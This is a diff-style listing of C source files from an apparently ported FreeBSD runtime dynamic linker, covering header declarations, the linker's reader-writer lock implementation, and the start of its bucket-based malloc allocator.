void *priv; /* Platform-dependant */
|
||||||
|
} Obj_Entry;
|
||||||
|
|
||||||
|
#define RTLD_MAGIC 0xd550b87a
|
||||||
|
#define RTLD_VERSION 1
|
||||||
|
|
||||||
|
#define RTLD_STATIC_TLS_EXTRA 128
|
||||||
|
|
||||||
|
/* Flags to be passed into symlook_ family of functions. */
|
||||||
|
#define SYMLOOK_IN_PLT 0x01 /* Lookup for PLT symbol */
|
||||||
|
#define SYMLOOK_DLSYM 0x02 /* Return newes versioned symbol. Used by
|
||||||
|
dlsym. */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Symbol cache entry used during relocation to avoid multiple lookups
|
||||||
|
* of the same symbol.
|
||||||
|
*/
|
||||||
|
typedef struct Struct_SymCache {
|
||||||
|
const Elf_Sym *sym; /* Symbol table entry */
|
||||||
|
const Obj_Entry *obj; /* Shared object which defines it */
|
||||||
|
} SymCache;
|
||||||
|
|
||||||
|
extern void _rtld_error(const char *, ...) __printflike(1, 2);
|
||||||
|
extern Obj_Entry *map_object(const char *, char *, ssize_t);
|
||||||
|
extern void *xcalloc(size_t);
|
||||||
|
extern void *xmalloc(size_t);
|
||||||
|
extern char *xstrdup(const char *);
|
||||||
|
extern Elf_Addr _GLOBAL_OFFSET_TABLE_[];
|
||||||
|
|
||||||
|
extern void dump_relocations (Obj_Entry *);
|
||||||
|
extern void dump_obj_relocations (Obj_Entry *);
|
||||||
|
extern void dump_Elf_Rel (Obj_Entry *, const Elf_Rel *, u_long);
|
||||||
|
extern void dump_Elf_Rela (Obj_Entry *, const Elf_Rela *, u_long);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Function declarations.
|
||||||
|
*/
|
||||||
|
unsigned long elf_hash(const char *);
|
||||||
|
const Elf_Sym *find_symdef(unsigned long, const Obj_Entry *,
|
||||||
|
const Obj_Entry **, int, SymCache *);
|
||||||
|
void init_pltgot(Obj_Entry *);
|
||||||
|
void lockdflt_init(void);
|
||||||
|
void obj_free(Obj_Entry *);
|
||||||
|
Obj_Entry *obj_new(void);
|
||||||
|
void _rtld_bind_start(void);
|
||||||
|
const Elf_Sym *symlook_obj(const char *, unsigned long, const Obj_Entry *,
|
||||||
|
const Ver_Entry *, int);
|
||||||
|
void *tls_get_addr_common(Elf_Addr** dtvp, int index, size_t offset);
|
||||||
|
void *allocate_tls(Obj_Entry *, void *, size_t, size_t);
|
||||||
|
void free_tls(void *, size_t, size_t);
|
||||||
|
void *allocate_module_tls(int index);
|
||||||
|
bool allocate_tls_offset(Obj_Entry *obj);
|
||||||
|
void free_tls_offset(Obj_Entry *obj);
|
||||||
|
const Ver_Entry *fetch_ventry(const Obj_Entry *obj, unsigned long);
|
||||||
|
int open_object(const char *name, unsigned char **, ssize_t *, void *buf);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* MD function declarations.
|
||||||
|
*/
|
||||||
|
int do_copy_relocations(Obj_Entry *);
|
||||||
|
int reloc_non_plt(Obj_Entry *, Obj_Entry *);
|
||||||
|
int reloc_plt(Obj_Entry *);
|
||||||
|
int reloc_jmpslots(Obj_Entry *);
|
||||||
|
void allocate_initial_tls(Obj_Entry *);
|
||||||
|
|
||||||
|
void *rtld_malloc(size_t);
|
||||||
|
void rtld_free(void *);
|
||||||
|
|
||||||
|
|
||||||
|
#define malloc rtld_malloc
|
||||||
|
#define free rtld_free
|
||||||
|
|
||||||
|
|
||||||
|
#endif /* } */
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,336 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1999, 2000 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* from: FreeBSD: src/libexec/rtld-elf/sparc64/lockdflt.c,v 1.3 2002/10/09
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/rtld_lock.c 191303 2009-04-20 10:35:50Z rwatson $
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Thread locking implementation for the dynamic linker.
|
||||||
|
*
|
||||||
|
* We use the "simple, non-scalable reader-preference lock" from:
|
||||||
|
*
|
||||||
|
* J. M. Mellor-Crummey and M. L. Scott. "Scalable Reader-Writer
|
||||||
|
* Synchronization for Shared-Memory Multiprocessors." 3rd ACM Symp. on
|
||||||
|
* Principles and Practice of Parallel Programming, April 1991.
|
||||||
|
*
|
||||||
|
* In this algorithm the lock is a single word. Its low-order bit is
|
||||||
|
* set when a writer holds the lock. The remaining high-order bits
|
||||||
|
* contain a count of readers desiring the lock. The algorithm requires
|
||||||
|
* atomic "compare_and_store" and "add" operations, which we implement
|
||||||
|
* using assembly language sequences in "rtld_start.S".
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/param.h>
|
||||||
|
|
||||||
|
#include <signal.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#include "debug.h"
|
||||||
|
#include "rtld.h"
|
||||||
|
#include "rtld_machdep.h"
|
||||||
|
|
||||||
|
#define WAFLAG 0x1 /* A writer holds the lock */
|
||||||
|
#define RC_INCR 0x2 /* Adjusts count of readers desiring lock */
|
||||||
|
|
||||||
|
typedef struct Struct_Lock {
|
||||||
|
volatile u_int lock;
|
||||||
|
void *base;
|
||||||
|
} Lock;
|
||||||
|
|
||||||
|
static sigset_t fullsigmask, oldsigmask;
|
||||||
|
static int thread_flag;
|
||||||
|
|
||||||
|
static void *
|
||||||
|
def_lock_create()
|
||||||
|
{
|
||||||
|
void *base;
|
||||||
|
char *p;
|
||||||
|
uintptr_t r;
|
||||||
|
Lock *l;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Arrange for the lock to occupy its own cache line. First, we
|
||||||
|
* optimistically allocate just a cache line, hoping that malloc
|
||||||
|
* will give us a well-aligned block of memory. If that doesn't
|
||||||
|
* work, we allocate a larger block and take a well-aligned cache
|
||||||
|
* line from it.
|
||||||
|
*/
|
||||||
|
base = xmalloc(CACHE_LINE_SIZE);
|
||||||
|
p = (char *)base;
|
||||||
|
if ((uintptr_t)p % CACHE_LINE_SIZE != 0) {
|
||||||
|
free(base);
|
||||||
|
base = xmalloc(2 * CACHE_LINE_SIZE);
|
||||||
|
p = (char *)base;
|
||||||
|
if ((r = (uintptr_t)p % CACHE_LINE_SIZE) != 0)
|
||||||
|
p += CACHE_LINE_SIZE - r;
|
||||||
|
}
|
||||||
|
l = (Lock *)p;
|
||||||
|
l->base = base;
|
||||||
|
l->lock = 0;
|
||||||
|
return l;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void
|
||||||
|
def_lock_destroy(void *lock)
|
||||||
|
{
|
||||||
|
Lock *l = (Lock *)lock;
|
||||||
|
|
||||||
|
free(l->base);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void
|
||||||
|
def_rlock_acquire(void *lock)
|
||||||
|
{
|
||||||
|
Lock *l = (Lock *)lock;
|
||||||
|
|
||||||
|
atomic_add_acq_int(&l->lock, RC_INCR);
|
||||||
|
while (l->lock & WAFLAG)
|
||||||
|
; /* Spin */
|
||||||
|
}
|
||||||
|
|
||||||
|
static void
|
||||||
|
def_wlock_acquire(void *lock)
|
||||||
|
{
|
||||||
|
Lock *l = (Lock *)lock;
|
||||||
|
sigset_t tmp_oldsigmask;
|
||||||
|
|
||||||
|
for ( ; ; ) {
|
||||||
|
sigprocmask(SIG_BLOCK, &fullsigmask, &tmp_oldsigmask);
|
||||||
|
if (atomic_cmpset_acq_int(&l->lock, 0, WAFLAG))
|
||||||
|
break;
|
||||||
|
sigprocmask(SIG_SETMASK, &tmp_oldsigmask, NULL);
|
||||||
|
}
|
||||||
|
oldsigmask = tmp_oldsigmask;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void
|
||||||
|
def_lock_release(void *lock)
|
||||||
|
{
|
||||||
|
Lock *l = (Lock *)lock;
|
||||||
|
|
||||||
|
if ((l->lock & WAFLAG) == 0)
|
||||||
|
atomic_add_rel_int(&l->lock, -RC_INCR);
|
||||||
|
else {
|
||||||
|
atomic_add_rel_int(&l->lock, -WAFLAG);
|
||||||
|
sigprocmask(SIG_SETMASK, &oldsigmask, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int
|
||||||
|
def_thread_set_flag(int mask)
|
||||||
|
{
|
||||||
|
int old_val = thread_flag;
|
||||||
|
thread_flag |= mask;
|
||||||
|
return (old_val);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int
|
||||||
|
def_thread_clr_flag(int mask)
|
||||||
|
{
|
||||||
|
int old_val = thread_flag;
|
||||||
|
thread_flag &= ~mask;
|
||||||
|
return (old_val);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Public interface exposed to the rest of the dynamic linker.
|
||||||
|
*/
|
||||||
|
static struct RtldLockInfo lockinfo;
|
||||||
|
static struct RtldLockInfo deflockinfo;
|
||||||
|
|
||||||
|
static __inline int
|
||||||
|
thread_mask_set(int mask)
|
||||||
|
{
|
||||||
|
return lockinfo.thread_set_flag(mask);
|
||||||
|
}
|
||||||
|
|
||||||
|
static __inline void
|
||||||
|
thread_mask_clear(int mask)
|
||||||
|
{
|
||||||
|
lockinfo.thread_clr_flag(mask);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define RTLD_LOCK_CNT 3
|
||||||
|
struct rtld_lock {
|
||||||
|
void *handle;
|
||||||
|
int mask;
|
||||||
|
} late_rtld_locks[RTLD_LOCK_CNT];
|
||||||
|
|
||||||
|
rtld_lock_t late_rtld_bind_lock = &late_rtld_locks[0];
|
||||||
|
rtld_lock_t late_rtld_libc_lock = &late_rtld_locks[1];
|
||||||
|
rtld_lock_t late_rtld_phdr_lock = &late_rtld_locks[2];
|
||||||
|
|
||||||
|
int
|
||||||
|
rlock_acquire(rtld_lock_t lock)
|
||||||
|
{
|
||||||
|
if (thread_mask_set(lock->mask) & lock->mask) {
|
||||||
|
dbg("rlock_acquire: recursed");
|
||||||
|
return (0);
|
||||||
|
}
|
||||||
|
lockinfo.rlock_acquire(lock->handle);
|
||||||
|
return (1);
|
||||||
|
}
|
||||||
|
|
||||||
|
int
|
||||||
|
wlock_acquire(rtld_lock_t lock)
|
||||||
|
{
|
||||||
|
if (thread_mask_set(lock->mask) & lock->mask) {
|
||||||
|
dbg("wlock_acquire: recursed");
|
||||||
|
return (0);
|
||||||
|
}
|
||||||
|
lockinfo.wlock_acquire(lock->handle);
|
||||||
|
return (1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
rlock_release(rtld_lock_t lock, int locked)
|
||||||
|
{
|
||||||
|
if (locked == 0)
|
||||||
|
return;
|
||||||
|
thread_mask_clear(lock->mask);
|
||||||
|
lockinfo.lock_release(lock->handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
wlock_release(rtld_lock_t lock, int locked)
|
||||||
|
{
|
||||||
|
if (locked == 0)
|
||||||
|
return;
|
||||||
|
thread_mask_clear(lock->mask);
|
||||||
|
lockinfo.lock_release(lock->handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
late_lockdflt_init()
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
deflockinfo.rtli_version = RTLI_VERSION;
|
||||||
|
deflockinfo.lock_create = def_lock_create;
|
||||||
|
deflockinfo.lock_destroy = def_lock_destroy;
|
||||||
|
deflockinfo.rlock_acquire = def_rlock_acquire;
|
||||||
|
deflockinfo.wlock_acquire = def_wlock_acquire;
|
||||||
|
deflockinfo.lock_release = def_lock_release;
|
||||||
|
deflockinfo.thread_set_flag = def_thread_set_flag;
|
||||||
|
deflockinfo.thread_clr_flag = def_thread_clr_flag;
|
||||||
|
deflockinfo.at_fork = NULL;
|
||||||
|
|
||||||
|
for (i = 0; i < RTLD_LOCK_CNT; i++) {
|
||||||
|
late_rtld_locks[i].mask = (1 << i);
|
||||||
|
late_rtld_locks[i].handle = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(&lockinfo, &deflockinfo, sizeof(lockinfo));
|
||||||
|
_late_rtld_thread_init(NULL);
|
||||||
|
/*
|
||||||
|
* Construct a mask to block all signals except traps which might
|
||||||
|
* conceivably be generated within the dynamic linker itself.
|
||||||
|
*/
|
||||||
|
_sigfillset(&fullsigmask);
|
||||||
|
_sigdelset(&fullsigmask, SIGILL);
|
||||||
|
_sigdelset(&fullsigmask, SIGTRAP);
|
||||||
|
_sigdelset(&fullsigmask, SIGABRT);
|
||||||
|
_sigdelset(&fullsigmask, SIGEMT);
|
||||||
|
_sigdelset(&fullsigmask, SIGFPE);
|
||||||
|
_sigdelset(&fullsigmask, SIGBUS);
|
||||||
|
_sigdelset(&fullsigmask, SIGSEGV);
|
||||||
|
_sigdelset(&fullsigmask, SIGSYS);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Callback function to allow threads implementation to
|
||||||
|
* register their own locking primitives if the default
|
||||||
|
* one is not suitable.
|
||||||
|
* The current context should be the only context
|
||||||
|
* executing at the invocation time.
|
||||||
|
*/
|
||||||
|
void
|
||||||
|
_late_rtld_thread_init(struct RtldLockInfo *pli)
|
||||||
|
{
|
||||||
|
int flags, i;
|
||||||
|
void *locks[RTLD_LOCK_CNT];
|
||||||
|
|
||||||
|
/* disable all locking while this function is running */
|
||||||
|
flags = thread_mask_set(~0);
|
||||||
|
|
||||||
|
if (pli == NULL)
|
||||||
|
pli = &deflockinfo;
|
||||||
|
|
||||||
|
|
||||||
|
for (i = 0; i < RTLD_LOCK_CNT; i++)
|
||||||
|
if ((locks[i] = pli->lock_create()) == NULL)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (i < RTLD_LOCK_CNT) {
|
||||||
|
while (--i >= 0)
|
||||||
|
pli->lock_destroy(locks[i]);
|
||||||
|
abort();
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < RTLD_LOCK_CNT; i++) {
|
||||||
|
if (late_rtld_locks[i].handle == NULL)
|
||||||
|
continue;
|
||||||
|
if (flags & late_rtld_locks[i].mask)
|
||||||
|
lockinfo.lock_release(late_rtld_locks[i].handle);
|
||||||
|
lockinfo.lock_destroy(late_rtld_locks[i].handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < RTLD_LOCK_CNT; i++) {
|
||||||
|
late_rtld_locks[i].handle = locks[i];
|
||||||
|
if (flags & late_rtld_locks[i].mask)
|
||||||
|
pli->wlock_acquire(late_rtld_locks[i].handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
lockinfo.lock_create = pli->lock_create;
|
||||||
|
lockinfo.lock_destroy = pli->lock_destroy;
|
||||||
|
lockinfo.rlock_acquire = pli->rlock_acquire;
|
||||||
|
lockinfo.wlock_acquire = pli->wlock_acquire;
|
||||||
|
lockinfo.lock_release = pli->lock_release;
|
||||||
|
lockinfo.thread_set_flag = pli->thread_set_flag;
|
||||||
|
lockinfo.thread_clr_flag = pli->thread_clr_flag;
|
||||||
|
lockinfo.at_fork = pli->at_fork;
|
||||||
|
|
||||||
|
/* restore thread locking state, this time with new locks */
|
||||||
|
thread_mask_clear(~0);
|
||||||
|
thread_mask_set(flags);
|
||||||
|
dbg("_rtld_thread_init: done");
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
_late_rtld_atfork_pre(int *locks)
|
||||||
|
{
|
||||||
|
|
||||||
|
locks[2] = wlock_acquire(late_rtld_phdr_lock);
|
||||||
|
locks[0] = rlock_acquire(late_rtld_bind_lock);
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
_late_rtld_atfork_post(int *locks)
|
||||||
|
{
|
||||||
|
|
||||||
|
rlock_release(late_rtld_bind_lock, locks[0]);
|
||||||
|
wlock_release(late_rtld_phdr_lock, locks[2]);
|
||||||
|
}
|
|
@ -0,0 +1,67 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 2003 Alexander Kabaev.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/rtld_lock.h 185558 2008-12-02 11:58:31Z kib $
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _RTLD_LOCK_H_
|
||||||
|
#define _RTLD_LOCK_H_
|
||||||
|
|
||||||
|
#define RTLI_VERSION 0x01
|
||||||
|
#define MAX_RTLD_LOCKS 8
|
||||||
|
|
||||||
|
struct RtldLockInfo
|
||||||
|
{
|
||||||
|
unsigned int rtli_version;
|
||||||
|
void *(*lock_create)(void);
|
||||||
|
void (*lock_destroy)(void *);
|
||||||
|
void (*rlock_acquire)(void *);
|
||||||
|
void (*wlock_acquire)(void *);
|
||||||
|
void (*lock_release)(void *);
|
||||||
|
int (*thread_set_flag)(int);
|
||||||
|
int (*thread_clr_flag)(int);
|
||||||
|
void (*at_fork)(void);
|
||||||
|
};
|
||||||
|
|
||||||
|
extern void _late_rtld_thread_init(struct RtldLockInfo *);
|
||||||
|
extern void _rtld_atfork_pre(int *);
|
||||||
|
extern void _rtld_atfork_post(int *);
|
||||||
|
|
||||||
|
#ifdef IN_RTLD
|
||||||
|
|
||||||
|
struct rtld_lock;
|
||||||
|
typedef struct rtld_lock *rtld_lock_t;
|
||||||
|
|
||||||
|
extern rtld_lock_t late_rtld_bind_lock;
|
||||||
|
extern rtld_lock_t late_rtld_libc_lock;
|
||||||
|
extern rtld_lock_t late_rtld_phdr_lock;
|
||||||
|
|
||||||
|
int rlock_acquire(rtld_lock_t);
|
||||||
|
int wlock_acquire(rtld_lock_t);
|
||||||
|
void rlock_release(rtld_lock_t, int);
|
||||||
|
void wlock_release(rtld_lock_t, int);
|
||||||
|
|
||||||
|
#endif /* IN_RTLD */
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,515 @@
|
||||||
|
/*-
|
||||||
|
* Copyright (c) 1983 Regents of the University of California.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
* 3. All advertising materials mentioning features or use of this software
|
||||||
|
* must display the following acknowledgement:
|
||||||
|
* This product includes software developed by the University of
|
||||||
|
* California, Berkeley and its contributors.
|
||||||
|
* 4. Neither the name of the University nor the names of its contributors
|
||||||
|
* may be used to endorse or promote products derived from this software
|
||||||
|
* without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||||
|
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||||
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||||
|
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||||
|
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||||
|
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
* SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(LIBC_SCCS) && !defined(lint)
|
||||||
|
/*static char *sccsid = "from: @(#)malloc.c 5.11 (Berkeley) 2/23/91";*/
|
||||||
|
static char *rcsid = "$FreeBSD: head/libexec/rtld-elf/malloc.c 154248 2006-01-12 07:28:21Z jasone $";
|
||||||
|
#endif /* LIBC_SCCS and not lint */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* malloc.c (Caltech) 2/21/82
|
||||||
|
* Chris Kingsley, kingsley@cit-20.
|
||||||
|
*
|
||||||
|
* This is a very fast storage allocator. It allocates blocks of a small
|
||||||
|
* number of different sizes, and keeps free lists of each size. Blocks that
|
||||||
|
* don't exactly fit are passed up to the next larger size. In this
|
||||||
|
* implementation, the available sizes are 2^n-4 (or 2^n-10) bytes long.
|
||||||
|
* This is designed for use in a virtual memory environment.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <paths.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/param.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
#include "rtld.h"
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
int
|
||||||
|
getpagesize(void)
|
||||||
|
{
|
||||||
|
return PAGE_SIZE;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
#ifdef __FreeBSD__
|
||||||
|
#define MAP_FLAGS MAP_NOCORE|MAP_ANON
|
||||||
|
#else
|
||||||
|
#define MAP_FLAGS MAP_ANON
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static void morecore();
|
||||||
|
static int findbucket();
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Pre-allocate mmap'ed pages
|
||||||
|
*/
|
||||||
|
#define NPOOLPAGES (32*1024/pagesz)
|
||||||
|
static caddr_t pagepool_start, pagepool_end;
|
||||||
|
static int morepages();
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The overhead on a block is at least 4 bytes. When free, this space
|
||||||
|
* contains a pointer to the next free block, and the bottom two bits must
|
||||||
|
* be zero. When in use, the first byte is set to MAGIC, and the second
|
||||||
|
* byte is the size index. The remaining bytes are for alignment.
|
||||||
|
* If range checking is enabled then a second word holds the size of the
|
||||||
|
* requested block, less 1, rounded up to a multiple of sizeof(RMAGIC).
|
||||||
|
* The order of elements is critical: ov_magic must overlay the low order
|
||||||
|
* bits of ov_next, and ov_magic can not be a valid ov_next bit pattern.
|
||||||
|
*/
|
||||||
|
union overhead {
|
||||||
|
union overhead *ov_next; /* when free */
|
||||||
|
struct {
|
||||||
|
u_char ovu_magic; /* magic number */
|
||||||
|
u_char ovu_index; /* bucket # */
|
||||||
|
#ifdef RCHECK
|
||||||
|
u_short ovu_rmagic; /* range magic number */
|
||||||
|
u_int ovu_size; /* actual block size */
|
||||||
|
#endif
|
||||||
|
} ovu;
|
||||||
|
#define ov_magic ovu.ovu_magic
|
||||||
|
#define ov_index ovu.ovu_index
|
||||||
|
#define ov_rmagic ovu.ovu_rmagic
|
||||||
|
#define ov_size ovu.ovu_size
|
||||||
|
};
|
||||||
|
|
||||||
|
#define MAGIC 0xef /* magic # on accounting info */
|
||||||
|
#define RMAGIC 0x5555 /* magic # on range info */
|
||||||
|
|
||||||
|
#ifdef RCHECK
|
||||||
|
#define RSLOP sizeof (u_short)
|
||||||
|
#else
|
||||||
|
#define RSLOP 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* nextf[i] is the pointer to the next free block of size 2^(i+3). The
|
||||||
|
* smallest allocatable block is 8 bytes. The overhead information
|
||||||
|
* precedes the data area returned to the user.
|
||||||
|
*/
|
||||||
|
#define NBUCKETS 30
|
||||||
|
static union overhead *nextf[NBUCKETS];
|
||||||
|
|
||||||
|
static int pagesz; /* page size */
|
||||||
|
static int pagebucket; /* page size bucket */
|
||||||
|
|
||||||
|
#ifdef MSTATS
|
||||||
|
/*
|
||||||
|
* nmalloc[i] is the difference between the number of mallocs and frees
|
||||||
|
* for a given block size.
|
||||||
|
*/
|
||||||
|
static u_int nmalloc[NBUCKETS];
|
||||||
|
#include <stdio.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(MALLOC_DEBUG) || defined(RCHECK)
|
||||||
|
#define ASSERT(p) if (!(p)) botch("p")
|
||||||
|
#include <stdio.h>
|
||||||
|
static void
|
||||||
|
botch(s)
|
||||||
|
char *s;
|
||||||
|
{
|
||||||
|
fprintf(stderr, "\r\nassertion botched: %s\r\n", s);
|
||||||
|
(void) fflush(stderr); /* just in case user buffered it */
|
||||||
|
abort();
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
#define ASSERT(p)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Debugging stuff */
|
||||||
|
static void xprintf(const char *, ...);
|
||||||
|
#define TRACE() xprintf("TRACE %s:%d\n", __FILE__, __LINE__)
|
||||||
|
|
||||||
|
void *
|
||||||
|
malloc(nbytes)
|
||||||
|
size_t nbytes;
|
||||||
|
{
|
||||||
|
register union overhead *op;
|
||||||
|
register int bucket;
|
||||||
|
register long n;
|
||||||
|
register unsigned amt;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* First time malloc is called, setup page size and
|
||||||
|
* align break pointer so all data will be page aligned.
|
||||||
|
*/
|
||||||
|
if (pagesz == 0) {
|
||||||
|
pagesz = n = getpagesize();
|
||||||
|
if (morepages(NPOOLPAGES) == 0)
|
||||||
|
return NULL;
|
||||||
|
op = (union overhead *)(pagepool_start);
|
||||||
|
n = n - sizeof (*op) - ((long)op & (n - 1));
|
||||||
|
if (n < 0)
|
||||||
|
n += pagesz;
|
||||||
|
if (n) {
|
||||||
|
pagepool_start += n;
|
||||||
|
}
|
||||||
|
bucket = 0;
|
||||||
|
amt = 8;
|
||||||
|
while ((unsigned)pagesz > amt) {
|
||||||
|
amt <<= 1;
|
||||||
|
bucket++;
|
||||||
|
}
|
||||||
|
pagebucket = bucket;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
* Convert amount of memory requested into closest block size
|
||||||
|
* stored in hash buckets which satisfies request.
|
||||||
|
* Account for space used per block for accounting.
|
||||||
|
*/
|
||||||
|
if (nbytes <= (unsigned long)(n = pagesz - sizeof (*op) - RSLOP)) {
|
||||||
|
#ifndef RCHECK
|
||||||
|
amt = 8; /* size of first bucket */
